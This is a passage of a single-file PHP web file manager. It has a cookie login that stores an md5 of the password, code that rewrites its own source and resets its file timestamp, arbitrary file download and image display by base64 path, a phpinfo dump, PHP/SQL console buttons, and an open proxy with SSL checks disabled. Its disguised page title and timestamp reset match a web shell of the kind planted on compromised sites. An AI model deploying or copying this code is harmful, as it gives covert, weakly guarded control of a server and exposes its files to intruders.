	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>-("png")-</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUG